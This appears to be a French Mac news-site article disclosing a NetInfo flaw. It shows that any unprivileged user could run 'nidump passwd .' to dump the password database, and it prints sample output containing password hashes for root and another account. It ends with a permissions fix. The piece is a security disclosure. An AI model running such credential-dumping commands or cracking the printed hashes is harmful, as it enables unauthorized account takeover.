Actualité

Encore un trou béant !

Par Coco, le

Dans la série failles de sécurité, en voici une autre liée à NetInfo.
Si je vous ai souvent parlé (en bien) de ce système je ne vous ai pas encore mentionné l'existence d'outils en ligne de commande permettant de manipuler la base de données.
En effet on peut tout à fait utiliser les utilitaires nidump, niload, niutil... situés dans /usr/bin en lieu et place de l'interface graphique fournie par NetInfo Manager.

Observons alors le mode de /usr/bin/nidump puisque c'est ce programme qui va nous intéresser:
ls -l /usr/bin/nidump
-r-xr-xr-x 1 root wheel 23996 Apr 13 14:03 /usr/bin/nidump

On remarque que par défaut, les droits d'execution sont attribués à tous les utilisateurs. Le moindre quidam peut donc effectuer la commande suivante:
nidump passwd .
nobody:*:-2:-2::0:0:Unprivileged User:/dev/null:/dev/null
root:Opv7qRKislTRA:0:0::0:0:System Administrator:/var/root:/bin/tcsh
daemon:*:1:1::0:0:System Services:/var/root:/dev/null
unknown:*:99:99::0:0:Unknown User:/dev/null:/dev/null
smmsp:*:25:25::0:0:Sendmail User:/private/etc/mail:/dev/null
www:*:70:70::0:0:World Wide Web Server:/Library/WebServer:/dev/null
mysql:*:74:74::0:0:MySQL Server:/dev/null:/dev/null
sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/dev/null
coco:9cu9PTxXUp7aI:501:20::0:0:Coco:/Users/coco:/bin/bash
marie::502:20::0:0:Marie:/Users/marie:/bin/tcsh
juju::503:20::0:0:Juju:/Users/juju:/bin/tcsh
ftp:*:21:-21::0:0:Anonymous:/Users/ftp:/dev/null
news:*:250:250::0:0:News Server:/dev/null:/dev/null
biales:XXXXXXX:507:20::0:0::/Users/Utilisateurs_ftp/biales:/bin/tcsh
grouik:XXXXXXX:508:20::0:0::/Users/Utilisateurs_ftp/grouik:/bin/tcsh
guest:XXXXXXX:509:20::0:0::/Users/Utilisateurs_ftp/guest:/bin/tcsh


Et voilà une sortie au format passwd typique. N'importe quel bon cracker peut ensuite se charger de trouver les mots de passe, le tout sans aucun privilège...
La solution de secours consiste donc à supprimer les droits d'execution pour les autres (mode 554).

Dernières publications

People : Tim Burton, Will Smith, Megan Fox, Justin Bieber, Kaia Gerber, Emily Ratajkowski

People : Tim Burton, Will Smith, Megan Fox, Justin Bieber, Kaia Gerber, Emily Ratajkowski

Cette semaine People débute avec la Star du jour chez Apple : Will Smith, tout heureux de retrouver le chemin du succès avec Emancipation.
10
Comment activer le mode Conduite et les réponses automatiques sur un iPhone

Comment activer le mode Conduite et les réponses automatiques sur un iPhone

Depuis iOS 15, il est possible de mettre en place un mode de Concentration dédié à la conduite. Voici comment l'activer.
2
4G/5G : Apple et Ericsson enterrent la hache de guerre

4G/5G : Apple et Ericsson enterrent la hache de guerre

iPhone : Foxconn investit plus d'un demi milliard dans son usine indienne

iPhone : Foxconn investit plus d'un demi milliard dans son usine indienne

2
iOS 16 aurait été installé sur 70 % des iPhone ! Et vous ?

iOS 16 aurait été installé sur 70 % des iPhone ! Et vous ?

7
Le casque Logitech G Pro X à 69€ (-50%), son prix le plus bas, souris G502 Hero à 56€ (-37%)

Le casque Logitech G Pro X à 69€ (-50%), son prix le plus bas, souris G502 Hero à 56€ (-37%)

Plusieurs promotions permettent aujourd'hui de s'offrir des périphériques de la gamme Logitech à un tarif réellement intéressant.

DJI Mini 3 : le version moins chère du drone compact est disponible

DJI Mini 3 : le version moins chère du drone compact est disponible

Il n'aura fallu attendre que 4 jours après la fuite des premiers clichés pour voir DJI présenter officiellement cette nouvelle variante de son drone compact.
3
Apple / Netflix : Will Smith battra-t-il Mercredi Addams et Tim Burton ?

Apple / Netflix : Will Smith battra-t-il Mercredi Addams et Tim Burton ?

Après une année ponctuée par les crises économique et énergétique, c'est la guerre pour les plateformes de streaming qui passent à l'attaque !
11
Diablo IV sortira le 6 juin 2023 !

Diablo IV sortira le 6 juin 2023 !

Game Awards 2022 oblige, l'actualité est plutôt dense du coté des jeux vidéo avec l'officialisation d'une date très attendue par les fans !
4
iPhone 14 dès 959€ (-60€), iPhone 14 Plus dès 1089€ (-80€), livrés avant Noël

iPhone 14 dès 959€ (-60€), iPhone 14 Plus dès 1089€ (-80€), livrés avant Noël

Si les stocks d'iPhone 14 Pro sont au plus bas, il reste possible de s'offrir les iPhone 14 et iPhone 14 Plus en promotion avec une livraison avant les fêtes.
2
L'app Heypster-gif permet d'envoyer des GIF depuis son Apple Watch

L'app Heypster-gif permet d'envoyer des GIF depuis son Apple Watch

Les fans de GIF pourront désormais le faire à la force du poignet car l'app gratuite Heypster-gif est désormais disponible sur Apple Watch.
2
M2 Max : un benchmark redonne de l'espoir et confirme les 96Go de RAM

M2 Max : un benchmark redonne de l'espoir et confirme les 96Go de RAM

Après un premier benchmark assez tiède, de nouveaux scores plus encourageants quant aux performances de la puce Apple Silicon M2 Max sont apparus sur la toile.
16
Washington veut bloquer le rachat d’Activision par Microsoft !

Washington veut bloquer le rachat d’Activision par Microsoft !

2
App Store : Epic Games peut-il faire tomber Apple ?

App Store : Epic Games peut-il faire tomber Apple ?

9
L'addictif Vampire Survivors s'invite gratuitement sur iOS (n'essayez pas ce jeu !)

L'addictif Vampire Survivors s'invite gratuitement sur iOS (n'essayez pas ce jeu !)

Préparez-vous à perdre quelques heures de sommeil ! Le très simple et pourtant si addictif Vampire Survivors est désormais disponible gratuitement sur iOS.
3
Jusqu'à -200€ sur les MacBook Air M1, 300€ sur le Air M2, 950€ sur le MacBook Pro

Jusqu'à -200€ sur les MacBook Air M1, 300€ sur le Air M2, 950€ sur le MacBook Pro

Les rayons du Refurb sont bien achalandés ce matin, avec d'intéressantes réductions sur les MacBook Air M1 et M2, ainsi que sur les MacBook Pro.

L’app de ski Slopes ajoute 200 nouvelles cartes interactives

L’app de ski Slopes ajoute 200 nouvelles cartes interactives

Chrome pour Mac est moins gourmand en mémoire et en énergie

Chrome pour Mac est moins gourmand en mémoire et en énergie

4
Un chargeur sans-fil double couplé à une batterie nomade chez Satechi

Un chargeur sans-fil double couplé à une batterie nomade chez Satechi

25 000€, 700Km d'autonomie : les futures Volkswagen électriques pleines de promesses

25 000€, 700Km d'autonomie : les futures Volkswagen électriques pleines de promesses

18
Suivez-nous !